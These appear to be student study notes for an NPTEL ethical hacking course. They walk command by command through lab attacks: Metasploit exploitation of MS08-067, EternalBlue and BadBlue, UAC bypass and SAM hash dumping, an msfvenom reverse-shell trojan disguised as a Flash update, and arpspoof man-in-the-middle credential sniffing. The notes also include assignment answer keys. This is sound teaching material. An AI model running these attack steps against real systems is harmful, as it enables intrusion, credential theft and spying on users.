NPTEL ETHICAL HACKING & NETWORK COMMUNICATIONS

WEEK 5 DETAILED CLASSROOM STUDY NOTES & EXAM PREPARATION NOTEBOOK

Course: NPTEL Ethical Hacking | Coverage: Lectures 21 to 25 (Vulnerability Scanning, Metasploit, MS17-010, System Hacking, Social Engineering & MITM)

MODULE 1: LECTURE 21 — VULNERABILITY SCANNING USING NMAP & METASPLOIT INTRO

1.1 Network Reconnaissance & Vulnerability Discovery Mechanics

1. Simple Explanation: Imagine you are a security guard auditing a large apartment building. Before testing individual door locks, you first walk through the property to see which apartments exist (Host Discovery), check which front doors are unlocked or open (Port Scanning), identify the brand and lock model installed on each door (Service Version Detection), and check if any lock has a known public master key vulnerability (Vulnerability Script Scanning). Nmap is the master auditing toolkit used to accomplish this.

2. Why It Is Needed: Raw port scanning tells an ethical hacker that a door (port) is open, but it does not reveal if the service behind that door is patched or vulnerable. Service version detection (`-sV`) and vulnerability scripting (`--script vuln`) bridge this gap by revealing exact software builds (e.g., outdated SMB services) susceptible to remote execution exploits.

3. Technical Definition: Vulnerability Scanning using Nmap is the active probing of network hosts using targeted IP/TCP/UDP packets and specialized Lua scripts (Nmap Scripting Engine - NSE) to detect live systems, map open ports, identify application service banners, and flag known security flaws without launching destructive exploits.

Nmap Command Syntax	Target / Scope	Functional Purpose & Working Principle
`nmap -T4 -sP 10.35.1.0/24`	Subnet Range (254 hosts)	**Live Host Discovery (Ping Sweep):** Sends ICMP Echo requests and ARP probes to map active systems quickly (`-T4` = aggressive timing).
`nmap -T4 -p0-1000 10.35.1.150`	Single Host (Ports 0-1000)	**Port Scanning:** Probes the first 1001 TCP ports to identify listening services (e.g., ports 135, 139, 445 indicate Windows SMB).
`nmap -T4 -sV 10.35.1.150`	Single Target Host	**Service Version Detection:** Interrogates open ports with service-specific probes to capture application banners and versions.
`nmap -T4 --script vuln 10.35.1.150`	Single Target Host	**Vulnerability Scripting (NSE):** Executes categories of audit scripts to flag unpatched CVE flaws (e.g., `smb-vuln-ms08-067`).

1.2 The Metasploit Framework (MSF) Architecture

1. History & Purpose: Created by HD Moore in 2003 and acquired by Rapid7 in 2009, the Metasploit Framework is the premier open-source penetration testing platform used worldwide to develop, test, execute, and verify software exploits.

2. Core Module Categories in Metasploit:

• **Exploits:** Modules containing code designed to take advantage of specific system vulnerabilities (e.g., buffer overflows, memory corruption) to achieve unauthorized access.

• **Payloads:** The malicious code delivered to the target host after a successful exploit. Categories include *Singles* (inline self-contained code), *Stagers* (small initial stagers that download larger shells), and *Stages* (complex payloads like Meterpreter).

• **Auxiliary:** Modules used for non-exploitation tasks such as network scanning, port sweeping, login brute-forcing, protocol fuzzing, and vulnerability auditing.

• **Encoders:** Utilities designed to obfuscate payloads and eliminate bad characters (e.g., null bytes `\x00`) to prevent crashing or bypass basic Antivirus signatures.

• **Post:** Post-exploitation modules executed after gaining an initial shell to perform privilege escalation, gather evidence, dump credentials, or pivot deeper into a network.

3. Step-by-Step Lecture Demonstration (Exploiting MS08-067):

1. Launch console: `msfconsole`
2. Search for exploit: `search ms08-067`
3. Select exploit module: `use exploit/windows/smb/ms08_067_netapi`
4. Inspect parameters: `show options`
5. Configure remote target IP: `set RHOST 10.35.1.150`
6. Launch attack: `exploit` (or `run`)
7. Interact with target via Meterpreter session: `sysinfo`, `help`, `download`, `screenshot`

METERPRETER POST-EXPLOITATION CAPABILITIES

Unlike a standard OS command prompt (`cmd.exe`), **Meterpreter** operates entirely in memory via DLL injection. It does not create new processes on the victim's hard drive, making it extremely stealthy. Key commands demonstrated in lecture:
• `sysinfo`: Displays target hostname, OS version (Windows XP), architecture, and system language.
• `screenshot`: Captures a live PNG image of the target desktop.
• `webcam_snap`: Captures a photo using the victim's connected webcam.
• `record_mic`: Records ambient audio from the target microphone.
• `download / upload`: Transfers files between attacker and victim file systems.

EXAM POINT: MS08-067 VULNERABILITY

Vulnerability Name: `smb-vuln-ms08-067` (CVE-2008-4250)
Root Cause: Path canonicalization flaw in Microsoft Windows Server Service (`netapi32.dll`). Remote unauthenticated attackers send crafted RPC requests over SMB (Port 445) to trigger a stack buffer overflow and execute arbitrary code with `SYSTEM` privileges on Windows XP / Server 2003 systems.

MODULE 2: LECTURE 22 — SECURITY SCANNING & EXPLOITING MS17-010 (ETERNALBLUE)

2.1 MS17-010 Vulnerability Mechanics & Pre-Exploitation Scanning

1. Simple Explanation: Imagine a bank vault where the teller accepts paper deposit slips. Due to a flaw in how the teller processes long forms, if a customer hands over a specially formatted slip with extra fake instructions written in invisible ink at the bottom, the teller accidentally executes those instructions and hands over the vault keys. MS17-010 is that exact vulnerability inside Windows file-sharing software.

2. Technical Definition: MS17-010 (EternalBlue) is a critical remote code execution vulnerability in Microsoft's Server Message Block version 1 (SMBv1) protocol (`srv.sys` driver). It allows unauthenticated remote attackers to send specially crafted SMB packets to gain full `NT AUTHORITY\SYSTEM` access on vulnerable Windows operating systems.

3. Step-by-Step Reconnaissance Demonstration (from Lecture):

1. Attacker executes Nmap vulnerability scan against victim IP (`10.35.1.155`):
`nmap -T4 --script vuln 10.35.1.155`
2. Nmap discovers open SMB and RPC service ports:
• **Port 135:** MSRPC (Remote Procedure Call)
• **Port 139:** NetBIOS Session Service
• **Port 445:** Microsoft-DS SMB (Direct Host Port)
• **Port 5357 & 49152-49157:** Dynamic RPC Ports
3. Nmap NSE output flags explicit vulnerability:
`smb-vuln-MS17-010: VULNERABLE — Remote Code Execution vulnerability in Microsoft SMBv1`

Port Number	Protocol / Service Name	Role in MS17-010 Exploitation
TCP Port 445	Microsoft-DS (SMB over TCP)	**Primary Attack Vector:** Direct host transport used by EternalBlue to deliver malicious SMBv1 payload packets without NetBIOS wrapper overhead.
TCP Port 139	NetBIOS Session Service	**Legacy Transport:** Older SMB transport running on top of NBT (NetBIOS over TCP/IP). Used for legacy Windows network file sharing.
TCP Port 135	MSRPC Endpoint Mapper	**Service Map:** Maps RPC interface UUIDs to dynamic listening ports on the target machine.

2.2 Step-by-Step Exploitation Workflow with Metasploit

The lecture demonstrates launching Metasploit to exploit the target host (`10.35.1.155`) from Kali Linux (`10.35.1.153`):

1. **Launch MSF Console:** Execute `msfconsole` in Kali terminal.
2. **Search Modules:** Execute `search MS17-010`. Metasploit returns modules including `exploit/windows/smb/ms17_010_eternalblue` and `exploit/windows/smb/ms17_010_psexec`.
3. **Select Exploit:** `use exploit/windows/smb/ms17_010_eternalblue`
4. **Inspect Options:** `show options` (shows `RHOSTS`, `RPORT=445`, `LHOST`, `LPORT=4444`).
5. **Configure Parameters:**
• `set RHOST 10.35.1.155` (Target victim IP)
• `set LHOST 10.35.1.153` (Attacker IP listening for reverse connection)
6. **Trigger Exploit:** Execute `exploit` or `run`.
7. **Establish Reverse Shell:** MSF initiates a Reverse TCP Handler on `10.35.1.153:4444`. The victim executes the

payload and connects back, granting an interactive Windows Command Shell (`cmd.exe`).

POST-EXPLOITATION FILE SYSTEM COMMANDS DEMONSTRATED

Once the interactive Windows shell is established, the attacker performs post-exploitation validation:

- `dir`: Lists files and directories in the current working path (e.g., `C:\Windows\system32`).
- `C:` & `dir`: Switches to root directory `C:\` and lists drive contents.
- `mkdir hack`: Creates a new folder named `hack` on the victim's hard drive.
- `rmdir hack`: Deletes the directory `hack` to confirm full read/write/delete file system control.

EXAM POINT: ETERNALBLUE (MS17-010)

CVE Reference: CVE-2017-0144
Impact: Used in global ransomware outbreaks (WannaCry, NotPetya) in 2017.
Mechanism: Exploits mathematical integer overflow flaws in SMBv1 kernel buffer handling during transaction requests.
Remediation requires applying Microsoft patch **MS17-010** or disabling legacy SMBv1 protocol in Windows settings.

MODULE 3: LECTURE 23 — SYSTEM HACKING & PRIVILEGE ESCALATION

3.1 Initial Access via Application Flaws (BadBlue 2.7)

1. Simple Explanation: Gaining initial access to a computer is like slipping past the security desk into a building as a guest visitor. You have entered the building, but you are not allowed into the executive vault. Privilege escalation is the process of finding an administrative badge or bypass key to grant yourself full `SYSTEM` access.

2. Technical Definition: System Hacking encompasses the complete lifecycle of exploiting application/service vulnerabilities to gain initial unprivileged access, stabilizing the shell via process migration, bypassing operating system security controls (User Account Control - UAC), and escalating privileges to `NT AUTHORITY\SYSTEM` to extract password hashes from the Security Account Manager (SAM) database.

3. Step 1: Reconnaissance & Target Identification:

- Port sweep: `nmap -T4 -P 1-1000 10.35.1.199` (Discovers open ports 80, 135, 139, 445).
- Service version scan: `nmap -T4 -sV 10.35.1.199`
- Output identifies: **BadBlue httpd 2.7** running on TCP Port 80 (a lightweight web server used for peer-to-peer file sharing containing known buffer overflow flaws).

4. Step 2: Metasploit Initial Access Exploitation:

- Search: `search badblue`
- Select module: `use exploit/windows/http/badblue_passthru`
- Configure target IP: `set RHOST 10.35.1.199`
- Launch: `exploit`
- Result: Grants an initial Meterpreter session on Windows 7 (`sysinfo`).

Phase / Command	Action Performed	Technical Objective & Security Reason
`hashdump` (Initial)	Attempt SAM hash extraction	**FAILS (Access Denied):** Initial session has standard user privileges; reading SAM requires `SYSTEM` access.
`ps` & `migrate 2176`	Process Migration into `iexplore.exe`	**Session Stabilization:** Moves Meterpreter thread from temporary exploit memory into stable process PID 2176 (`iexplore.exe`).
`background`	Background session 2	**Console Management:** Freezes active session in background so MSF console can configure local privilege escalation modules.
`use bypassuac_injection`	Bypass Windows UAC	**UAC Bypass:** Exploits trusted Windows process memory injection to gain an administrative access token.
`getsystem`	Escalate to SYSTEM	**Full Control:** Uses named pipe impersonation (Technique 1) to elevate admin token to `NT AUTHORITY\SYSTEM`.
`hashdump` (Elevated)	Dump SAM Database Hashes	**SUCCESS:** Dumps NTLM password hashes for all local Windows accounts for offline cracking.

3.2 Privilege Escalation Deep Dive: UAC Bypass & SAM Hash Extraction

User Account Control (UAC) Mechanics: Windows UAC prevents standard administrative users from executing changes to kernel/system files without explicit elevation consent. The `bypassuac_injection` module injects a crafted DLL into trusted Windows binaries (like `sysprep.exe` or `cliconfg.exe`) that auto-elevate without displaying a UAC prompt.

SAM Database Hash Dumping Output Analysis:
When `hashdump` is executed under `SYSTEM` privileges, it outputs NTLM hashes in standard colon-delimited format: `Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::`
• **Username:** `Administrator`
• **RID (Relative Identifier):** `500` (Built-in Admin Account)
• **LM Hash:** `aad3b435b51404eeaad3b435b51404ee` (Empty/Disabled LM Hash constant)
• **NTLM Hash:** `31d6cfe0d16ae931b73c59d7e0c089c0` (Active NTLM password hash value)

WHY PROCESS MIGRATION IS CRITICAL

When an initial exploit lands (e.g., BadBlue buffer overflow), Meterpreter runs inside the memory space of the crashing web server process (`badblue.exe`). If the victim user closes BadBlue or the application crashes, the Meterpreter session dies immediately! Migrating (`migrate `) into a permanent background OS process like `explorer.exe`, `svchost.exe`, or `iexplore.exe` ensures session persistence and stealth.

EXAM POINT: GETSYSTEM MECHANICS

`getsystem` Command: Automates local privilege escalation in Meterpreter.
Technique 1 (Named Pipe Impersonation): Creates a named pipe, spawns a system service that connects to the pipe, and impersonates the security context of the `SYSTEM` client connecting to it.

MODULE 4: LECTURE 24 — MALWARE, TROJANS, VIRUSES & SOCIAL ENGINEERING

4.1 Social Engineering Attack Vectors & MSFVenom Payload Mechanics

1. Simple Explanation: Technical security controls like firewalls and anti-malware software are like high-tech electronic security gates. Social engineering does not try to hack the gate; instead, it tricks the authorized employee into holding the gate open for the attacker. A Trojan horse is a malicious program disguised as a harmless or desirable application (e.g., a Flash Player update).

2. Technical Definition: Social Engineering is a non-technical intrusion strategy exploiting human psychological traits (curiosity, fear, urgency, trust) to manipulate targets into executing security errors. MSFVenom is a stand-alone command-line payload generator and encoder utility in Metasploit used to craft executable malware binaries (`.exe`, `.elf`, `.apk`).

Malware Type	Self-Replication Capacity	Delivery & Operational Behavior
Trojan Horse	**NO (Does NOT self-replicate)**	Disguised as legitimate software (e.g., `flash8.exe`). Requires human execution via social engineering lure.
Computer Virus	**YES (Host-Dependent)**	Attaches itself to clean executable host files (`.exe`, `.doc`) and spreads when the infected host file is transferred.
Computer Worm	**YES (Standalone Network)**	Self-contained program that actively scans networks and spreads automatically across unpatched OS vulnerabilities without human interaction.
Backdoor / RAT	Optional	Remote Access Trojan granting persistent administrative command-line control (e.g., Reverse TCP Meterpreter shell).

4.2 Step-by-Step Lecture Demonstration: Payload Creation & Multi/Handler

Step 1: Payload Creation via MSFVenom Command Line:
`msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.35.1.198 LPORT=443 -f exe -o /root/my_file/flash8.exe`
• `-p windows/meterpreter/reverse_tcp`: Specifies target OS (Windows), staged payload engine (Meterpreter), and connection type (Reverse TCP).
• `LHOST=10.35.1.198`: Local Host IP address of the attacker machine to which the victim connects back.
• `LPORT=443`: Local Port on the attacker machine listening for traffic (Port 443 HTTPS port blends in with firewall rules!).
• `-f exe`: Formats output as a standalone Windows executable binary.
• `-o /root/my_file/flash8.exe`: Specifies output filename and destination path.

Step 2: Setting Up Attacker Multi-Handler Listener in Metasploit:
1. Launch Metasploit: `msfconsole`
2. Select handler module: `use exploit/multi/handler`
3. Set payload type (MUST match MSFVenom payload exactly!):
`set payload windows/meterpreter/reverse_tcp`
4. Set listening parameters:
`set LHOST 10.35.1.198`
`set LPORT 443`
5. Launch background listener: `exploit` (or `run`)

Step 3: Social Engineering Delivery & Execution:
• Attacker hosts `flash8.exe` on a web server (`python -m http.server 8000`).
• Victim is socially engineered into downloading and double-clicking `flash8.exe` on Windows 7.

• The handler catches the incoming Reverse TCP handshake, opening an active Meterpreter session (`sysinfo`, `shell` CLI interaction: `mkdir kali`, `rmdir kali`).

REVERSE TCP VS. BIND TCP SHELLS

• **Bind TCP Shell:** The payload opens a listening port directly on the victim machine. Attacker connects to victim IP:port. *Problem:* Inbound connections are heavily blocked by firewalls and NAT routers.
• **Reverse TCP Shell:** The payload initiates an outbound connection from victim machine to attacker IP:port (e.g., `10.35.1.198:443`). *Advantage:* Outbound firewall rules are usually permissive, easily bypassing perimeter security!

EXAM POINT: MSFVENOM SYNTAX & TROJAN REPLICATION

Key Exam Takeaways:
1. Trojans do **NOT** self-replicate (unlike viruses or worms). They rely strictly on social engineering lures.
2. In MSFVenom, `LHOST` represents the **Attacker's IP address** and `LPORT` represents the **Attacker's Listening Port**.

MODULE 5: LECTURE 25 — ARP POISONING, MITM & NETWORK SNIFFING

5.1 Address Resolution Protocol (ARP) & Poisoning Principles

1. Simple Explanation: In a local office network, computers communicate physically using MAC addresses, but software uses IP addresses. ARP is like an open bulletin board where anyone can post: *'Who has IP 10.35.1.2? Tell 10.35.1.199!'*. Because ARP is stateless and trusts all announcements without verification, an attacker can post fake updates: *'IP 10.35.1.2 is at my MAC address!'*. Everyone updates their records and sends all private letters directly to the attacker.

2. Technical Definition: ARP Poisoning (or ARP Spoofing) is an active network layer attack that exploits the stateless design of RFC 826 ARP. An attacker sends unsolicited, forged ARP Reply packets to associate their Network Interface Card (NIC) MAC address with the IP address of legitimate devices (e.g., Default Gateway), forcing local traffic to route through the attacker's system.

3. MITM Network Topography (from Lecture):

- **Attacker Machine (Kali Linux):** `10.35.1.198` (MAC: `AA:AA:AA:AA:AA:AA`)
- **Victim Target Host:** `10.35.1.199` (MAC: `BB:BB:BB:BB:BB:BB`)
- **Default Network Gateway:** `10.35.1.2` (MAC: `CC:CC:CC:CC:CC:CC`)

Sniffing Category	Target Architecture	Operational Working Principle & Limitations
Passive Sniffing	Legacy Hub Networks	NIC placed in **Promiscuous Mode** to capture broadcast traffic. Ineffective on modern switches because switches forward frames directly to target ports.
Active Sniffing (ARP Poisoning)	Switched LAN Networks	Actively injects forged ARP replies into switched environments to alter switch MAC tables and route victim frames through the attacker.
MAC Flooding	Network Switches	Floods switch CAM (Content Addressable Memory) table with thousands of fake MAC addresses until CAM overflows, forcing switch into fail-open hub mode.

5.2 Step-by-Step Man-in-the-Middle Execution & Wireshark Sniffing

Step 1: Enable Linux Kernel IP Forwarding:
Before poisoning ARP caches, the attacker must enable packet routing so intercepted victim traffic is forwarded to the real gateway without dropping packets (preventing Denial of Service!):
• Check status: `cat /proc/sys/net/ipv4/ip_forward` (Returns `0` = disabled)
• Enable forwarding: `echo 1 > /proc/sys/net/ipv4/ip_forward` (Returns `1` = enabled)

Step 2: Dual-Directional ARP Poisoning with `arpspoof`:
Must run two simultaneous `arpspoof` commands in separate terminals:
• Terminal 1 (Poison Victim): `arpspoof -t 10.35.1.199 10.35.1.2`
(Tells Victim `10.35.1.199` that Gateway `10.35.1.2` is at Attacker's MAC address)
• Terminal 2 (Poison Gateway): `arpspoof -t 10.35.1.2 10.35.1.199`
(Tells Gateway `10.35.1.2` that Victim `10.35.1.199` is at Attacker's MAC address)

Step 3: Traffic Analysis & Credential Harvesting in Wireshark:
1. Launch Wireshark on attacker interface (`eth0`).
2. Victim logs into an unencrypted web application (`aview.in`) using HTTP.
3. Attacker applies display filter: `http`
4. Inspects `HTTP POST` request, right-clicks, selects **Follow -> TCP Stream**.
5. Stream reveals cleartext credentials: `username=admin` & `password=nptel1234`!

PROMISCUOUS MODE VS. NORMAL MODE

In normal mode, a Network Interface Card (NIC) inspects incoming frame headers and drops any frame whose Destination MAC does not match its own MAC. In **Promiscuous Mode**, the NIC driver disables hardware filtering and passes ALL captured frames directly to sniffing software (Wireshark, tcpdump).

EXAM POINT: CAM TABLE FLOODING & MITM DEFENSES

MAC Flooding Purpose: Overwhelms switch CAM memory tables with fake MACs, forcing switch to fail-open and act as a hub (broadcasting all unicast frames out of all ports).
Mitigation Mechanisms: Dynamic ARP Inspection (DAI), Static ARP Table binding, Port Security (limiting MACs per port), and HTTPS/TLS encryption.

MODULE 6: WEEK 5 REVISION & NPTEL EXAM PREPARATION PAGES

6.1 Quick Week 5 Core Revision Summary

• **Nmap Auditing:** Host discovery (`-sP`), port scanning (`-p`), version detection (`-sV`), and vulnerability scripts (`--script vuln`).
• **Metasploit Modules:** Exploits, Payloads, Auxiliary, Encoders, Post.
• **MS08-067:** Windows Server Service RPC buffer overflow vulnerability over SMB Port 445 (`netapi32.dll`).
• **MS17-010 (EternalBlue):** Windows SMBv1 kernel transaction integer overflow flaw targeted by WannaCry.
• **System Hacking Lifecycle:** Unprivileged initial access (BadBlue 2.7) -> Process Migration (`migrate `) -> UAC Bypass (`bypassuac_injection`) -> SYSTEM Elevation (`getsystem`) -> SAM Hash Dumping (`hashdump`).
• **Social Engineering:** Exploits human psychology rather than software flaws. Trojans (like `flash8.exe` built via `msfvenom`) do NOT self-replicate.
• **ARP Poisoning & MITM:** Sending fake ARP replies via `arpspoof` to corrupt ARP tables. Requires Linux IP forwarding (`echo 1 > /proc/sys/net/ipv4/ip_forward`) to relay traffic.
• **Sniffing & Promiscuous Mode:** Capturing plain text credentials (HTTP) via Wireshark TCP Stream inspection.

6.2 Master Glossary & Core Terms

Technical Term	Technical Definition	Security Significance
Vulnerability	A flaw or weakness in system design, implementation, or operation.	Serves as the entry point exploited by attackers.
Exploit	Code/data designed to take advantage of a vulnerability.	Triggers unintended execution or unauthorized access.
Payload	Malicious code delivered to the target after successful exploit.	Performs core attacker actions (e.g., Meterpreter shell).
Meterpreter	Staged, in-memory DLL-injected dynamic payload.	Provides stealthy post-exploitation control without touching disk.
UAC Bypass	Technique to elevate standard admin token past Windows UAC prompts.	Prerequisite step for reaching `SYSTEM` privileges on Win 7/10.
ARP Poisoning	Injecting forged ARP replies to map attacker MAC to target IP.	Enables active Man-in-the-Middle (MITM) traffic redirection.
Promiscuous Mode	NIC state where driver passes all captured frames to software.	Required by packet sniffers (Wireshark) to capture network frames.

6.3 Formula Sheet & Important Solved Mathematical Examples

Formula 1: Password Brute-Force Search Space Complexity
$$\text{Total Combinations } (S) = N^L$$
• N = Size of character set (e.g., lowercase letters = 26, alphanumeric = 62)
• L = Fixed length of password

Formula 2: Dictionary Attack Login Attempt Calculation
$$\text{Maximum Login Attempts } (A) = |U| \times |P|$$
• $|U|$ = Total number of targeted usernames
• $|P|$ = Total number of passwords in wordlist dictionary

SOLVED MATHEMATICAL EXAMPLE 1 (From NPTEL Assignment 5, Q10):
Problem: A symmetric-style brute-force password cracker needs to try all combinations of a 4-character password using only lowercase letters (26 possible characters). How many total password combinations are possible?
Calculation Step-by-Step:
1. Identify $N = 26$ (lowercase letters `a-z`) and $L = 4$ (password length).
2. Apply formula: $S = N^L = 26^4$
3. Compute step: $26 \times 26 \times 26 \times 26 = 456,976$
Final Answer: Exactly **456,976** password combinations.

SOLVED MATHEMATICAL EXAMPLE 2 (From NPTEL Assignment 5, Q9):
Problem: An attacker uses Hydra to perform a dictionary attack on an SSH service, testing a wordlist of 5,000 passwords against 4 different usernames. What is the maximum number of login attempts that could be made?
Calculation Step-by-Step:
1. Identify $|U| = 4$ usernames and $|P| = 5,000$ passwords.
2. Apply formula: $A = |U| \times |P|$
3. Compute step: $4 \times 5,000 = 20,000$
Final Answer: Exactly **20,000** login attempts.

6.4 NPTEL Exam Practice Questions (Complete Week 5 Assignment Solutions)

Q1: Which of the following NMAP option(s) can trigger execution of NMAP scripts? (MSQ)

Options: a. -A | b. -sC | c. -Pn | d. --script=default | e. -sn

Correct Answer: a, b, d

Explanation: Explanation: `-sC` runs default NSE scripts (equivalent to `--script=default`). `-A` (aggressive scan) also enables script scanning alongside OS/version detection and traceroute. `-Pn` only skips ping, and `-sn` only performs host discovery.

Q2: Which of the following tool(s)/software CANNOT be used for vulnerability scanning? (MSQ)

Options: a. Nessus | b. Hydra | c. Nexpose | d. Crunch | e. NMAP

Correct Answer: b, d

Explanation: Explanation: Hydra is an online login password brute-forcing tool, and Crunch is a custom wordlist generator — neither scans for vulnerabilities. Nessus, Nexpose, and Nmap (with `--script vuln`) are vulnerability scanners.

Q3: Which of the following is NOT considered a common password cracking approach?

Options: a. Dictionary attack | b. Brute-force attack | c. Rule-based attack | d. Packet sniffing | e. Shoulder surfing

Correct Answer: d

Explanation: Explanation: Packet sniffing captures network traffic frames; it is not itself a password cracking algorithm (though captured data could later be analyzed). Dictionary, brute-force, rule-based, and shoulder surfing are password acquisition methods.

Q4: Which protocol in TCP/IP is connectionless and does not provide reliability?

Options: a. TCP | b. UDP | c. FTP | d. TELNET

Correct Answer: b

Explanation: Explanation: UDP (User Datagram Protocol) transmits connectionless datagrams without handshakes or acknowledgments. TCP, FTP, and TELNET are connection-oriented.

Q5: Which tool is primarily used to generate custom wordlists for use in dictionary-based password attacks?

Options: a. Hydra | b. Nessus | c. Crunch | d. Wireshark | e. Hashcat

Correct Answer: c

Explanation: Explanation: Crunch generates custom wordlists based on specified character sets and length rules. Hydra performs login attempts, Hashcat cracks hashes, and Wireshark sniffs traffic.

Q6: Which of the following statement(s) is/are FALSE regarding malware?

Options: a. All malware types are capable of self-replication.
b. Malware can grant partial or full control of a system.
c. Malware can be delivered through file sharing.
d. Malware can modify, corrupt, or delete data.

Correct Answer: a

Explanation: Explanation: Statement (a) is false because Trojans do NOT self-replicate (unlike viruses or worms). They rely on social engineering human lures for installation.

Q7: In a MAC flooding attack, what is the primary goal of overwhelming a switch's CAM table?

Options: a. To crash switch permanently | b. To force switch to behave like a hub broadcasting traffic | c. To increase switch memory

Correct Answer: b

Explanation: Explanation: Flooding the Content Addressable Memory (CAM) table forces the switch to fail-open into broadcast mode (acting like a hub), allowing attackers to sniff unicast traffic.

Q8: Which NMAP script is used specifically for identifying the operating system of an SMB-enabled target?

Options: a. smb-os-discovery | b. smb-brute | c. http-os-brute | d. smb-enum-users | e. ssh-brute

Correct Answer: a

Explanation: Explanation: `smb-os-discovery` uses SMB protocol probes to determine remote OS name, build number, and domain/workgroup details.

Q9: An attacker uses Hydra to test a wordlist of 5,000 passwords against 4 usernames. Max login attempts = ____?

Correct Answer: 20000

Explanation: Explanation: Total attempts = Usernames × Passwords = 4 × 5,000 = 20,000.

Q10: If a brute-force password cracker tries all 4-character passwords using 26 lowercase letters, total combinations = ____?

Correct Answer: 456976

Explanation: Explanation: Total combinations = 26^4 = 26 × 26 × 26 × 26 = 456,976.

6.5 Oral Viva Questions & Easy Answers

Q: 1. What is the difference between an Exploit and a Payload?
A: An exploit takes advantage of a system bug to gain access; a payload is the actual code executed after access is gained.

Q: 2. Why is MS08-067 historically significant?
A: It is a unauthenticated remote code execution flaw in Windows Server Service over SMB (Port 445) used by Metasploit.

Q: 3. What makes Meterpreter superior to a standard command shell?
A: It runs entirely in memory via DLL injection without spawning disk processes, providing advanced post-exploitation commands.

Q: 4. What is the purpose of process migration in Meterpreter?
A: Moving the session (`migrate `) into a stable OS process (like `iexplore.exe`) prevents connection drops if the exploit process crashes.

Q: 5. How does `getsystem` elevate privileges on Windows?
A: It uses techniques like named pipe impersonation to acquire an `NT AUTHORITY\SYSTEM` access token.

Q: 6. Why must you run `bypassuac` before `getsystem` on Windows 7/10?
A: Because UAC restricts administrative user tokens; bypassing UAC provides the elevated token required by `getsystem`.

Q: 7. Do Trojan horses self-replicate?
A: No! Viruses and worms self-replicate, but Trojans rely strictly on social engineering lures for execution.

Q: 8. What is the role of `msfvenom`?
A: It is Metasploit's standalone CLI tool used to generate and encode custom standalone malware payloads (`.exe`, `.apk`).

Q: 9. What does Linux IP forwarding do during an MITM attack?
A: Enabling `ip_forward` (`echo 1 > /proc/sys/net/ipv4/ip_forward`) ensures intercepted packets are routed to the real gateway, preventing DoS.

Q: 10. What is the difference between Passive and Active Sniffing?
A: Passive sniffing monitors broadcast traffic (hubs); Active sniffing injects packets (like ARP poisoning) to intercept traffic on switches.

6.6 Final Revision Checklist

[ ] Understand Nmap host discovery, port scanning, version detection (`-sV`), and script scans (`--script vuln`).
[ ] Memorize Metasploit architecture (Exploits, Payloads, Auxiliary, Encoders, Post) and basic console syntax.
[ ] Master MS08-067 and MS17-010 (EternalBlue) SMBv1 remote code execution mechanics.
[ ] Master the System Hacking lifecycle: BadBlue 2.7 -> `migrate` -> `bypassuac` -> `getsystem` -> `hashdump`.
[ ] Understand malware categories (Viruses vs. Worms vs. Trojans) and MSFVenom syntax (`-p`, `LHOST`, `LPORT`, `-f exe`).
[ ] Understand ARP Poisoning, dual-direction `arpspoof` commands, Linux IP forwarding, and Wireshark HTTP stream filtering.
[ ] Master brute-force search space math (N^L) and dictionary attempt calculations ($|U| \times |P|$).